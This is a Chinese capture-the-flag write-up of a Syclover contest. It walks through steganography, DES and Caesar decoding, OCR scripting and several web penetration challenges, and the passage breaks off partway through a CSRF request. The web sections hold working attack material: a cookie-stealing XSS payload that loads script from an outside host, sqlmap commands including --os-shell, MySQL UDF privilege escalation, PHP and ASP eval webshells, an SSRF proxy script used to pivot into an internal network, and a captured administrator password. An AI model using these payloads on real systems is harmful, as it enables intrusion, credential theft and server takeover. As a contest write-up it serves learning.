Ox01

http://hack.myclover.org/这 个是比赛的平台，比赛持续了 3 天 4 夜，小伙伴们都很给力哈。三叶草的维护服务器、出题的、写平台的小伙伴们辛苦了哇。这份 writeup 不只是会记录正确 的思路，也会记录下比赛过程中的一些坑，一些错误的想法，以及这个尝试的过程，这个才是最重要的。在这个比赛过程中也是涨姿势了。

Ox02 杂项-BP 断点

分数:100

描述:提示 1：key 不是大家喜欢的波波老师！ 提示 2：bmp+png 提示 3：CRC

Link: http://pan.baidu.com/s/1o6x4FEE

这个题一开始提示得少，到了比赛后期才给出了一些提示。

先看看题目，题目给出了 fxxk.jpg 这个题目是个隐写题。下载文件下来之后尝试打开，发现打不开，winhex 打开看看

发现文件前几个字节都被改成了 00，修改回来，改成 bmp 的文件头。42 4D 46 3F

打开后发现是波波老师的图片，发现了一个 key，提交了也不对，看来是个坑。后来在图片里发现了一个东西，看着很眼熟。PNG，文件头的标志。

以 89 50 开始，到文件结尾，提取出来，保存成.png，一开始做的时候傻逼了，发现了这个 以为是结尾，然后就往前找。结果当然是什么也提取不出来，前面就是原本的 bmp 图片。

提取出后保存为.png，打开一下试试看，发现还是打不开。用 winhex 看一下二进制。

发现了 4 个长度字节是被置 0，是没法打开的。我们需要利用 crc 校验码找到原来的长度。

bmp&png 图片取证

可以参考一下我的 blog 里的这个题，是之前做过的一个类似的题，也有个 python 脚本。但是我第一夜去爆破，测试后发现算不不出来。后来才发现坑爹的地方是他的长宽都被修改过了，需要重新去爆破一下。爆破出来的结果是宽度 0x 01 90 长度 0x 01 90

winhex 改写一下长宽，发现已经是可以打开了。

key：T7i5Is7h3R3411yK3y_!@#()

Ox03 杂项-最简单的加解密
分数:300
描述:提示 1：DES 提示 2：凯撒
Link: http://pan.baidu.com/s/1o6qJcue
图片是个二维码，打开，发现也没有什么异常，没有什么特殊数据追加在文件尾。
那么就去扫个二维码吧。
http://www.onlinebarcodereader.com/
这个网站可以在线解二维码，当然你也可以自己用自己的手机去扫扫。
解出来是个 url
http://cli.im/9s7Nh
访问 url 之后发现是一个图片，下载下来。
用 stegsolve 打开看看 stegsolve 下载
神器啊

可以看到文件的结尾还有一些 01 的二进制串。用 winhex 提取出来。

```
1001101001100100101100101111000010011100111101001001001100000100111101000100010010100110111101001110010101110111010001101111010011100100010010110010111110100110000101010111010110100110110101001101101001101100101001100111011110000010110100110101001011010011011100101101001101101010110010011010001001101010001110110001100110100010011110101010001001101010100111010001000100000101111000010011110101011101110100011100100100111001000100010010010111100101100001010001000101011001101010011110100010001100111001100110000
```

1 10100110111100101100011011011000011000001110110001100110111 0010

分别是 511 位和 63 位，看到这种情况，非常的接近 512 位和 64 位，我们需要去补充一位。
前面后面补 0 补 1 都分别尝试一下，发现是要在前面补充 0 是能转成字符的。
用神器 JPK 来解一下。
JPK——binary——binary format

JPK——binary——binary to ascii

M2YxNzI0ODJoNWtoNDYzaWZmM2gxZjZnZmY4MGc4OTM5ODAxOWtrNDIy

aDVmODg0
同样的方法解一下 64 字节的。
出来是这样子 Sycl0v3r
然后研究了一下，发现这个短的 8 位的应该是密钥，既然提供了密钥，说是简单的加解密，那么应该是对称加密的算法。没给提示之前，然后我们就去尝试各种非对称的，AES，DES 等等。尝试了很久都不行。
直到后来去研究一下那个密文的字符集，有大小写和数字，应该是 base64 尝试解一下。
JPK——Ascii——Decode——Base64

3f172482h5kh463iff3h1f6gff80g89398019kk422h5f884
发现了这个，然后再研究一下密文的字符集，0-9 f-k。
发现 f-k 是连续的 6 位字母，而 DES 加密出来的密文刚好是 0-9a-f 的 6 位。
还是上神器 JPK。JPK——Ascii——Decrypt——Caesar

然后找到 a-f 的那一串。

密文：3a172482c5fc463daa3c1a6baa80b89398019ff422c5a884
密钥：Sycl0v3r
http://app.baidu.com/des_algorithm
找个解 DES 的

You_Got_It@_@
这个就是 key 了，这个题主要是没接触过 DES 的，一开始不了解密文的字符集，导致卡了。解这种解密之类的，古典解密什么的，要注意字符集，是解题的关键。了解的字符集，可以缩小加密算法范围，更快地确定解法之类的。

Ox04 Code-Code300
分数:300
描述:程序比较大,前往下载
Link: http://pan.baidu.com/s/1dDcOlPJ

README.txt
hello，这里有一组图片需要你识别。
图片上只有阿拉伯数字。
数字的数量未知

程序会在 8783 端口接受你的数据
每识别成功一次，a.png 会更新一次

by SYC.clover
tulneer@gmail.com
运行一下是这样子的

然后据说这次的编程题都可以逆向来做，我这种逆向小白也来尝试逆向一把，ida 载入。然后找到关键的有 flag 字符的那个字符串函数，F5 一下看看源码。 发现是 qt 的，还用了一些 hash 算法来计算，应该可以用 qt 来模拟编程，计算这个 flag，然后我就放弃了，qt 无力，还是正面解 orc 吧，还是比较好 解的，图片会保存目录下的 a.png。
这里有同 tcp socket 编程的一些技巧。

```
1 import socket
2 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3 sock.connect(('127.0.0.1', 8783))
4 while(True):
5         ans = input()
6         sock.send(str(ans))
7 sock.close()
```

一些简单的 python 程序来通信。

然后就是 orc 部分，这个因为去年校赛，冷总也出过一道 orc 的题目，所以这个部分是比较好做的。可以使用 python 下的 pytesser，下面是在 win 下的安装包。
http://pytesser.googlecode.com/files/pytesser_v0.0.1.zip 这个是 google 的代码 可以现在需要翻墙才能下载到了
下载后测试运行一下，发现还要 Image 库，网上下一个。然后就可以下个脚本来运行。
我当时为了省时间，直接改写的 pytesser.py，然后把这个文件夹和题目的文件夹合并一下。

```
01 import socket
02 import time
03 if __name__=='__main__':
04                 sock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
05                 sock.connect(('127.0.0.1', 8783))
06
07                 while(True):
08                     im = Image.open('a.png')
```

```
09                      text = image_to_string(im)
10                      sock.send(text)
11                      time.sleep(0.5)
12
13                  sock.close()
```

改写 main 函数，识别 a.png 然后 sock 传输到指定端口，然后再延迟 0.5 秒，发包太快会一次接受太多导致错误。然后延迟的最长是 1 秒，不能到 1 秒，有的机器不正确，可以修改这个 0.5 试试，在 1 以内。

k3y: acdb9102da6b

Ox05 渗透测试-XSS

这个题是 Tomato 大神做出来的
通过抓包可以发现有提示

根据文件名可以知道这个是备份文件，下载查看

```
01 function xss_filter($str){
02                          $match = array('/&#([a-z0-9]+)([;]*)/i','/\<\!\-\-([\s\S]*?)\-\->/','/\/\*([\s\S*?])\*\//',
03                                                                  '/on(mouse|exit|error|click|dblclick|key|load|unload|change|move|submit|reset|cut|copy|select|start
04                                                                  |stop|touch)/i',
05 '/s[[:space:]]*c[[:space:]]*r[[:space:]]*i[[:space:]]*p[[:space:]]*t/i',
06                                                                  '/about/i',
07 '/frame/i', '/link/i', '/import/i', '/expression/i', '/meta/i', '/textarea/i','/eval/i',
08                                                                  '/alert/i'
09                          );
10                          //<--   --> \\
11                          $replace=array('', '', '', 'on\\1', 'scr_pt', 'fra_me', 'l_ink', 'im_port', 'ex_pression',
12                                                                  'me_ta', 'text_area', 'eva_l', 'alert'
```

```
11                          );
12
                            $after_str = preg_replace($match, $replace,
13 $str);
14
15                          return $after_str;
16                  }
```

通过分析代码可以知道这个函数过滤了
进制转换后的代码，htmll 两种注释方法，以及
on(mouse|exit|error|click|dblclick|key|load|unload|change|move|submit|reset|cut|copy|select|start）这些 on 事件,很明显这样肯定还有事件没有过滤。例如:ondrag onfocus
继续分析可以知道过滤了各种 script,以及 about frame import expression meta textarea eval
这个函数并未过滤尖括号。这样就很好构造 xss 了。虽然在前台测试发现被转义了。但是后台的代码为 echo ‘ Content : ‘.$this->xss_filter($row['guest']).’

‘ 用的就是这个函数。为了避免出现 script，然后我们可以通过 String.fromCharCode 来避免其的出现
然后通过 write 重写。我们最后可以构造如下代码

```
〈input
onfocus=write(String.fromCharCode(60,115,99,114,105,112,116,32,115,1
14,99,61,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,63,12
0,115,115,62,60,47,115,99,114,105,112,116,62)) autofocus x=〉
```

加上 autofocus 是为了避免交互。

其实　　标签也没过滤，然后使用 ondrag 可以构造如下代码

```
〈img
src=http://xxx/xx.jpg    ondrag=write(String.fromCharCode(,60,115,99,
114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,11
5,46,99,111,109,47,63,120,115,115,62,60,47,115,99,114,105,112,116,62
)〉
```

但是要交互。这样成功获得 cookie

0×06 渗透测试-拿 key 的李小胖
分数:200
描述:Key 被李小胖拿走了。

Link: http://web1.myclover.org/
上去网站到处逛逛，然后发现一个注入。
http://web1.myclover.org/index.php?id=1

用 sqlmap 跑跑

```
1 sqlmap -u "http://web1.myclover.org/index.php?id=1" --dbs --thread 10
```

发现跑不出来什么数据库，看来用默认的跑没法跑出来。然后就找啊找。
然后有据说题目描述是关键，里面的李小胖，就去找到李小胖学长的 id: smilent。

```
1 sqlmap -u "http://web1.myclover.org/index.php?id=1" -D smilent --table
  --thread 10
```

然后去尝试跑跑，发现了表 see_here。

```
1 sqlmap -u "http://web1.myclover.org/index.php?id=1" -D smilent --T
  see_here --columns --thread 10
```

发现了 key，path 这几个字段 如果你是手工牛，你也可以尝试手工注入一发。
Link:
http://web1.myclover.org/index.php?id=0%20union%20select%201,group_concat%28path%29%20from%20smilent.see_here#
key:Hi_1m_sLxIaoPang
path: e:/wamp/cclover
这个就是下一题的提示，先记下来，是这个网站的路径，找到了路径之后我们就可以尝试写 shell 进去了。

0×07 渗透测试-藏 key 的李小胖
分数:100
描述:Key 被李小胖藏了起来。
Link: http://web1.myclover.org/

题目的链接还是指向之前的题目，看来还是要接着做下去啊。用之前得到的路径，其实在题目没放出来之前，我们就手快的上去翻了东西什么的。当时就找到了 key，只是提交慢了。
这个题其实就是要用到那个路径去写 shell 进去。

```
1 sqlmap -u "http://web1.myclover.org/index.php?id=1" --os-shell
  --thread 10
```

sqlmap 的 –os-shell 选项可以很方便的写 shell 进去。

然后上去 shell，翻东西，在 E:\wamp\cclover\haha_key_pang.txt 里就有第二个 key 和提示。

提示是 mysql 的 root 密码。

0×08 渗透测试-放 key 的李小胖
分数:200
描述:Key 被李小胖放了起来。(tips：各位大爷提权的时候悠着点)
Link: http://web1.myclover.org/
这个题还是 Tomato 大神做出来的

还是一样的链接，还是一样的李小胖，我们解着上面拿到的 mysql 密码来撸。
通过注入拿到 shell。然后进入 shell 后在网站根目录发现如下提示

告诉你 root 密码，可以推测这道题目和数据库有关。通过 mysql 可以想到是不是要提权
服务器。上大马一只，连上 mysql。发现使用大马的 udf 提权不成功。然后上传暗月的高版本 udf 提权脚本。导出 udf 失败。该服务器上的 mysql 版 本是 5.5.8. 在 mysql5.1 之后 udf 导出的目录就要在 mysql 目录下的 lib\plugin ，本来想通过 shell 直接访问这个目录的，发现不可以读。这该肿么办呢。后面查找资料发现了一种方法，就是利用 NTFS 的 ads 来创建目录
虽然我们不可以读写该目录但是通过 ads 可以创建目录，并且对创建的目录具有读写权限。
然后构造如下语句

```
Select 'xxxx' into outfile
'e:\\wamp\\bin\\mysql\\mysql5.5.8\\lib\\plugin::$INDEX_ALLCATION'
```

然后屁颠屁颠的跑去执行，发现还是没有权限。因为再这之前还有一个坑，因为 root 用户没得文件权限

```
select `File_priv` from `user`where user='root'
```

得到的是 N ,这样的话，我们来给予文件权限

```
Update user set `File_priv` where user = 'root';
```

在这个执行完了之后发现还是不可以。很是郁闷。后面发现还缺了一句

```
1 Flush privileges;
```

这样就成功导出 udf 了。
导出 udf 之后，来创建 cmdshell。发现失败，提示说找不到 mysql.fuc 这个表。
既然是 root。那我们来创建这个表。语句如下

```
CREATE TABLE func (  name char(64) binary DEFAULT '' NOT
NULL,  ret tinyint(1) DEFAULT '0' NOT NULL,  dl char(128) DEFAULT
1'' NOT NULL,  type enum ('function','aggregate') NOT
NULL,  PRIMARY KEY (name) ) engine=MyISAM CHARACTER SET utf8 COLLATE
utf8_bin  comment='User defined functions';
```

这样就成功创建了，然后创建 cmdshell 也成功了。之后就是一顿 xxoo。

后面发现服务器没有开 3389.于是上传了一个开 3389 的 vbs。把 3389 个开了，然后通过 lcx 将服务器转发出来。其实也可以不用 lcx，使用 tunna 也行的。然后就是各种翻，后面发现在管理员的桌面有个文本

这样就成功拿到了 key。
还抓了服务器的明文

```
1 UserName: Administrator
2 LogonDomain: SYCLOVER
3 password: CloveraDministrator
```

0×09 渗透测试-我要当管理员！
分数:200
描述:先做做看，再给提示！
Link: http://web2.myclover.org/wts/

访问后发现了这个东西
Hi! Guest,Welcome to SYC Web Test Syst3m
burp 抓包看看，发现了一个 cookie

Cookie: level=Mg%3D%3D
Mg== 是个 base64 编程过的 2。
我们改成 1 的 base64 编程试试看 MQ==

出现了 admin 的控制面板，快进去看看。

http://web2.myclover.org/wts/syc_adm1n_ok.php

这里有个登陆的表单，尝试提交，随便上一些弱口令，发现登陆不进去，还尝试一些常见的注入。

```
1 admin’ or 1=1#
2 Admin’ or 1=1--
3 username[]=admin&password[]=admin
```

等等，都没有什么反应，然后发现这个题和其他的登陆表单不一样的地方。
web2.myclover.org/wts/syc_getk3y.php
有 GetKey 这个页面，直接访问发现还是本页面，没什么发现，抓包发现其实是个跳转。
在 getkey 这里也有一个表单。是要提交 key=md5(our_team_name)

our_team_name 应该是指的三叶草或者是 syclover 这个，然后测试 md5。
8bfc8af07bca146c937f283b8ec768d4
我直接 post key=8bfc8af07bca146c937f283b8ec768d4 到 getkey 这个页面，发现没有效果。
然后就把表单弄到本地保存成 html。
设置一下，发现了一个日站的时候常见的问题，没有按钮提交，自己就去写了一个 submit

```
01 <html>
02         <head>
03                 <title>GetKey - SYC Web Test Syst3m</title>
04                 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
05         </head>
06         <body>
07                 <form action="http://web2.myclover.org/wts/syc_getk3y.php" method="post">
08                         md5(our_team_name)=<input type="text" name="key" value="" />
```

```
                        <input type="submit" name="submit"
09 value="getk3y" />
10                  </form>
11          </body>
12 </html>
```

然后再根据那个 url： syc_getk3y.php 来弄一个 name：getk3y。
这样子输入 8bfc8af07bca146c937f283b8ec768d4

也可以构造发包

```
01 POST /wts/syc_getk3y.php HTTP/1.1
02 Host: web2.myclover.org
03 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)
   Gecko/20100101 Firefox/29.0
04 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
05 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
06 Accept-Encoding: gzip, deflate
07 Cookie: level=Mg%3D%3D
08 Connection: keep-alive
09 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 50
11
12 key=8bfc8af07bca146c937f283b8ec768d4&submit=getk3y
```

发现提交了之后又跳转了，然后去 burp 看一下。

KEY: Log1cal_Err0r_Vul

这个题还是比较接近于实战的，有一些实战中会遇到的东西，就是那个登陆框不知道，还有没有别的攻击方法能得到 key。难道登陆框就是个单纯的坑。后来看了别人的 writeup 貌似不用 submit 也能成功，难怪我绕了一晚上。

0x0A 渗透测试-我是骗子
分数:200
描述:php 错还是 windows 的错，你敢相信！玩泥巴，史密达！新提示：mickey

牛思密达！
Link: http://web3.myclover.org/

打开发现了这样子的一句话， ?include=这是一个包含，你敢相信！！
那么就去尝试一下按他说的包含一下，包含本页面。
http://web3.myclover.org/?include=index.php

你已经成功了一半！！
亲，你不能这样！
发现回显了这个东西，那么可以 key 就是在这个页面里，我有特殊的 LFI 技巧。
本地文件包含读取源码的技巧测试一下。
php LFI 读 php 文件源码以及直接 post webshell
ck 学长的一篇文章里的技巧。
http://web3.myclover.org/?include=php://filter/read=convert.base64-encode/resource=index.php
这个可以使用 php 伪协议读取 index.php 的源码，base64 回显出来。
你已经成功了一半！！
你猜的没错，这不是 include，是 file_get_contents！！
发现了这个东西，说是 file_get_contents 是一个可以返回文件内容的东西，然后我们的方向就跑偏了，去测试一下代码注入，eval 什么的，执行去执行命令，在这里困了比较久。
之前也研究得少了，后来还提示说利用了一个 windows 的特性，没什么发现，后面还说了 Mickey 牛。
google hacking 一发 mickey site:wooyun.org
hackyou2014 CTF web 关卡通关攻略
具体的研究测试报告可以看这里：
http://onsec.ru/onsec.whitepaper-02.eng.pdf
这里还有一个 windows+php 下的技巧：php 的某些函数获取文件时，可以使用<< 代替其他字符进行猜解。
p<< 表示 p*
然后就是利用这个漏洞来猜解文件名。
http://web3.myclover.org/?include=a%3C%3C
返回这个
你已经成功了一半！！
oh my god!

http://web3.myclover.org/?include=i%3C%3C
有文件 index.php 时返回
你已经成功了一半！！
你猜的没错，这不是 include，是 file_get_contents！！
估计这个，上 burp 去猜解爆破。

然后就可以去慢慢爆破了，或者写一个脚本来自动实现。
http://web3.myclover.org/?include=12ADER3JE83U4KDU3KF83N3K590WJ2H3LR

94J5DJTL4.php
最后爆破出来是这个文件。
http://web3.myclover.org/12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php
访问一下发现了这样子的。
?i=这是一个包含，你敢相信！！

居然说是?i 是包含，那么我们来测试一下。
http://web3.myclover.org/12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php?i=12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php
包含一下，说是你已经成功了 2/3！！
http://web3.myclover.org/12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php?i=index.php
就能拿到 index.php 页面的源码。
$key = "1ncl4d3_FILe_g3t_c0nt3nts";
key: 1ncl4d3_FILe_g3t_c0nt3nts

0x0B 渗透测试-不要在意细节
分数:300
描述:秒速 5 厘米？ 不要在意细节，重点不在那里
Link: http://web2.myclover.org/audit/
打开页面后发现了一个图片，秒速 5 厘米的图片，既然描述说他不是重点，那么我们不要在意他，而是要做 web 一样的做题，而非做隐写做 misc。

这个题可以扫扫，会发现 key.php
访问出现 KEY: 1ts_imp0ssibl3 提交失败，果然是没有这么简单，可能题目就是需要我们去读取 key.php 源码，真正的 key 可能在注释里。
查看网页源码

```
1 <img src="readimg.php?img=bXM1bG0uanBn" width="100%"/>
```

发现了这个东西
http://web2.myclover.org/audit/readimg.php?img=bXM1bG0uanBn
访问一下，发现了图片显示出了 ascii 码，这个文件估计是能读取文件的。
bXM1bG0uanBn 参数有大小写数字，猜测是 base64
ms5lm.jpg 解一下，发现是可以解开的，就是文件名去 base64。
把 index.php 去编码 aW5kZXgucGhw
http://web2.myclover.org/audit/readimg.php?img=aW5kZXgucGhw
访问一下，发现了主页的源码。

```
1 <?php
2         require_once('myclass.php');
3         $x = new syclover();
```

```
4         isset($_GET['syc']) && $g = $_GET['syc'];
5         if (!empty($g)) {
6                 $x = unserialize($g);
7         }
8         echo $x->readfile();
9 ?>
```

这里发现了一个 myclass.php 还有 unserialize 这个东西，可以利用这个去做一个序列化攻击。

还是先去把 myclass.php base64 编码一下 bXljbGFzcy5waHA=
http://web2.myclover.org/audit/readimg.php?img=bXljbGFzcy5waHA=
查看一下源码

```
01 <?php
02         //KEY in key.php
03         class syclover {
04                 public $file;
05                 function __construct($fname = '') {
06                         $this -> file = $fname;
07                 }
08
09                 function readfile() {
                        if (!empty($this->file) &&
10 stripos($this->file, '..')===FALSE && stripos($this->file,
   '/')===FALSE && stripos($this->file, '\\')===FALSE) {
                                    return
11  @file_get_contents($this->file);
12                      }
13                 }
14         }
15 ?>
```

发现了一个 class 类 syclover，这个类是在 unserialize 时必须的，我们尝试使用反序列化去解开我们传入的序列化值，然后调用 readfile()读取到 key.php 的源码。

本地构造一下代码，构造序列化 serialize，传入我们可以控制的 unserialize 读取 key.php

```php
<?php
        class syclover {
                public $file;
                function __construct($fname = 'key.php') {
                        $this -> file = $fname;
                }

                function readfile() {
                        if (!empty($this->file) && stripos($this->file, '..')===FALSE && stripos($this->file, '/')===FALSE && stripos($this->file, '\\')===FALSE) {
                                return @file_get_contents($this->file);
                        }
                }
        }
$class = new syclover();
$class_ser = serialize($class);
print_r($class_ser);
?>
```

出来是这个东西：

```
O:8:"syclover":1:{s:4:"file";s:7:"key.php";}
```

一开始做题做晕了，一直那这个去 base64 传给 index.php，真是做晕了。仔细读一下 index.php 的源码就会发现并没有去做 base64 的。
http://web2.myclover.org/audit/index.php?syc=O:8:%22syclover%22:1:{s:4:%22file%22;s:7:%22key.php%22;}

```php
<?php
        //True KEY: D4nger0us_uns3rialize
        //Fake KEY
        echo "KEY: 1ts_imp0ssibl3";
?><img src="readimg.php?img=bXM1bG0uanBn" width="100%"/>
```

拿到了 key: D4nger0us_uns3rialize

0x0C 渗透测试-cert auth
分数:500
描述:证书缺乏有效验证
Link: http://pan.baidu.com/s/1dDlBN0l

航大的题目，是个 apk，一开始有个提示：人家真是 web 题，那就不去做什么逆向了，把他当成 web 的来做做。

把 apk 在手机上安装之后，发现是有一个登陆，要求输入 user，pwd，然后 Login 会返回一个状态。

这里是在登陆验证一个状态之类的，我们可以尝试抓包看看。
手机的抓包，可以使用代理到本地，burp 抓包或者是使用 wireshark 抓包。

无线的局域网是 192.16/8.137.*
网关是笔记本也就是 192.168.137.1，手机连接上去之后，尝试代理到 8080 端口。

burp 再设置一下代理的网段，修改到 192.168.137.1:8080，进行抓包。
然后手机发个包，然后再 burp 这里就可以抓到了。

```
1 GET /749202db39fbcb0e94fd23c521f44584.php?username=123456 HTTP/1.1
2 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.1; 2013022
  MIUI/JHACNAL5.0)
3 Host: web5.myclover.org
4 Connection: Keep-Alive
5 Accept-Encoding: gzip
```

抓取到了一个 443 端口的东西，一开始做这个题的时候我没细心看，抓到这个 url 之后，我去访问了
http://web5.myclover.org/749202db39fbcb0e94fd23c521f44584.php?username=123456
发现了 404，然后就到 http://web5.myclover.org/ 这上面主页什么的去找东西了。
后来发现方向错了，后来的 tips 是什么证书啊之类的，估计就是和 https 和 443 有关。
https://web5.myclover.org/749202db39fbcb0e94fd23c521f44584.php?username=123456
访问之后回显是 welcome，有一个参数 username，尝试去注入，直接在 sqlmap

上跑，分分钟跑出来，cbuteng_certification。
我写 writeup 的时候，web5 的服务器关了，就没能再跑一次，大概是航大的 vps 关了。

```
sqlmap -u "https://web5.myclover.org/749202db39fbcb0e94fd23c521f44584.php?username=123456" --dump
```

做出来这个题之后，和航航交流，他给了个这个题相关的链接。
http://security.tencent.com/index.php/blog/msg/41
就是在做 https 时，自签名的证书带来的危险。这个题的本意是需要自己去签一个证书，然后去过 https 认证之后，才能得到 url。可是却被我神奇地通过 burp 抓到了，题目的难度就瞬间下降了。

0x0D 渗透测试-key 在那遥远的地方
分数:500
描述:dz 是最新的，不要纠结 dz 了，寻找其他入口，比如有废弃的老程序！dz 服务器不用提权，当然你有能力提权也可以。
Link: http://web4.myclover.org
这个题我比赛的时候没做出来，时间不太后，比赛结束之后给做出来了，也顺便一起写了。
这个题目一开始大家的方向都往 dz 方面去了。不过 dz 又是最新的，砸 0day 这种事情是无力的。大家都一直被困着，直到后来 tips: dz 是最新的，不要纠结 dz 了，寻找其他入口，比如有废弃的老程序！
然后就去扫目录，扫文件。扫出来一个 old 目录 http://web4.myclover.org/old/
看到这个东西，然后还得到了一个备份文件。
http://web4.myclover.org/old/old.zip
然后就是做代码审计，尝试之类的，我去找了他说的随风 V3.6 的 cms，可是本地没搭起来，好像是 mysql 的问题。然后就看着代码，测测 cms。
http://web4.myclover.org/old/index.php?cid=0
发现了注入，在代码里没做过滤，可是测试的时候又不行了。

http://web4.myclover.org/old/add.php
后来在这个文件里发现了一个 post 注入

```
01 $add=$_GET["add"];
02 $id=$_GET["id"];
03 $class_bdt=$_POST["class_bdt"];
04 $bo=$_POST["content"];
05 $sj=date("Y-n-j G:i:s");
06 $t=$_POST["t"];
07
```

```
08 if($add!="")
09
10 $sql="insert into cbody(cid,c,sj,sh,h,t)
values(".$class_bdt.",'".$bo."','".$sj."',".$w_c.",'0','".$t."')";
11
12 mysql_query($sql) or die(mysql_error());
```

一个 insert 查询，对于参数 content 没做过滤，可以用 post 注入。
sqlmap 有个技巧可以直接很方便的指定查询的参数 *
把这个保存成 post.txt 文件

```
01 POST /old/add.php?add=all HTTP/1.1
02 Host: web4.myclover.org
03 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0)
Gecko/20100101 Firefox/26.0
04 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
05 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
06 Accept-Encoding: gzip, deflate
07 Referer: http://web4.myclover.org/old/add.php
08 Cookie: AJSTAT_ok_pages=1; AJSTAT_ok_times=1
09 Connection: keep-alive
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 78
12
1  t=a&class_bdt=4&content=*asad&Submit=%E5%8F%91%E5%B8%83%E4%BF%A1%E
3  6%81%AF
```

```
1 执行 sqlmap -r 'post.txt' --dbs #查询数据库
2 sqlmap -r 'post.txt' -D test --table #查询 test 数据库中的表名
3 sqlmap -r 'post.txt' -D test -T config --columns #拖 config 表中的列
4 sqlmap -r 'post.txt' -D test -T config --dump #拖 config 表中的数据
```

用户名是 admin
密码是 shishijiushizheyangrangrenbuganxiangxin
尝试去登陆后台。
http://web4.myclover.org/old/admin/

其实在之前就拿到了路径的，在 old.zip 中的，临时文件中有的路径的
D:\wamp\www\old
尝试使用注入 –os-shell 写 shell 上去失败了。
登陆进去之后到处转转，翻翻后台什么的，发现有一个 configs 文件夹，就想尝试能不能写 shell 到 config 文件里。
在 edit4.php 中有一个插一句话，我们本地没搭起环境，然后就很机智的把这个 edit4.php 提取出来，在本地测了一会，本地已经可以解析了，测试网站就是没连上，估计是姿势错了，换个姿势再来
http://web4.myclover.org/old/admin/edit4.php?id=utf8;{${eval($_POST["appleu0"])}}
;
http://web4.myclover.org/old/admin/configs/unicude.php
菜刀连上去，后来还发现有人很恶心地在删 shell，导致这个题的做题速度变慢了很多，有时还不止删 shell，连漏洞利用 edit4.php 或者是 那个 config 文件，有时候要回滚才能再做这个题，太恶心了，没准备好 curl 脚本或者是 shellscript 导致被动了。
拿到 shell 之后，在上面发现了一个 tips.txt
192.168.5.2 80 21 81
这个题是个内网题，比较恶心，七拐八拐的。
尝试执行命令发现不行，没权限执行不了，题目 tips 中说：dz 服务器不用提权，当然你有能力提权也可以。那么我们还是尝试别的访问方式

```
01 <?php
02 $url=$_GET?$_GET['url']:exit();
03 $data=$_POST?http_build_query($_POST):'';
04 if($data){
0          $context=stream_context_create(array('http'=>array('method'
5 =>'POST','content'=>$data)));
06          $result=file_get_contents($url,false,$context);
07 }else{
08          $result=file_get_contents($url);
09 }
10 echo $result;
11 ?>
```

上传这个，可以使用 php 中的 curl 来访问内网文件。
http://web4.myclover.org/api/post.php?url=http://192.168.5.2/index.php
访问一下发现回显：这是一句话
那么既然说是一句话，那么我们可以尝试进行爆破一下。

抓个包上个 webshell 的密码字典去爆破一下，爆破出来是一个常见的密码 xx 写

writeup 的时候好像改过了。爆破出来这个之后，会显示
username:test;password:zhegemimashipassword
这个就是 21 端口的密码，都是按着 tips 中给的顺序来的，80 21 81
访问一下 81 端口，发现了 iisstart.htm
http://web4.myclover.org/api/post.php?url=http://192.168.5.2:81/
http://web4.myclover.org/api/post.php?url=http://192.168.5.2:81/iisstart.htm
当时的想法就是要通过 21 端口，去写 webshell 到 81 端口的目录下面。

使用一个 php 脚本的模拟 ftp 登陆上传读取等的脚本。

```
1 <?php
2 $conn = ftp_connect("192.168.5.2") or die("Could not connect");
3 ftp_login($conn,"test","zhegemimashipassword");
4 $file = fopen("http://web4.myclover.org/shell.txt","r");
5 echo ftp_fput($conn,"/Inetpub/wwwroot/shell.asp",$file,FTP_ASCII);
6 print_r (ftp_rawlist($conn,"/Inetpub/wwwroot/"));
7 ftp_close($conn);
8 ?>
```

这里是写到的 iis 的默认路径 /Inetpub/wwwroot/
使用的 asp 的 webshell

```
1 shell.txt： <%eval request("appleu0")%>
```

上菜刀
http://web4.myclover.org/api/post.php?url=http://192.168.5.2:81/shell.asp
密码是 appleu0
在菜刀上清空一下网站的缓存，可能会有之前的 web4 的一些记录，会有影响。

然后就是上去翻东西，翻东西。
发现在 E 盘上发现了 key.txt

Th151skey

还留了言哈哈，是第二个进去的，我们也是跟着之前一个队 洋葱你好，洋葱再见 的痕迹进去的。这个题真的是七拐八拐的，时间不太够。

0x0E 渗透测试-平台漏洞
发现这个 csrf 漏洞，主要是一开始从 web4 那个服务器里发现一个 xss 的东西，在 web4 那台服务器上有一个冷总的 xss 平台的链接，然后我看到这个 之后就在

想有没有什么能在这次比赛中利用的 xss 攻击，然后就想起了 web1，web1 的那个服务器很多人是拿到了 webshell 的权限的，可以在 web1 那里做一个 xss 的攻击，但是后来发现虽然平台的 cookie 没有 httponly 标签，但因为同源策略 hack.myclover.org 不会 把 cookie 带给 web1 的，所以就没法利用 xss 来获取选手的 cookie 什么的。
虽然没法进行 xss，就测了一下 csrf，发现 csrf 可以实施，平台没有 csrftoken，referer 来源验证什么的也测试过发现没有，提交修改 资料时没有验证码，并没有什么是我们需要猜测的参数。需要能带上选手的 cookie，可以进行攻击，进行 post 提交修改选手的数据。
update：队长修改

```
01 POST /index.php/team HTTP/1.1
02 Host: hack.myclover.org
03 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)
Gecko/20100101 Firefox/29.0
04 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
05 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
06 Accept-Encoding: gzip, deflate
07 Referer: http://web1.myclover.org
08 Cookie: syclover=
09 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 166
11
12 team_leader=AppLeU0&slogan=%E5%A5%BD%E7%9A%84%E5%A4%A7%E7%8E%8B%2C%
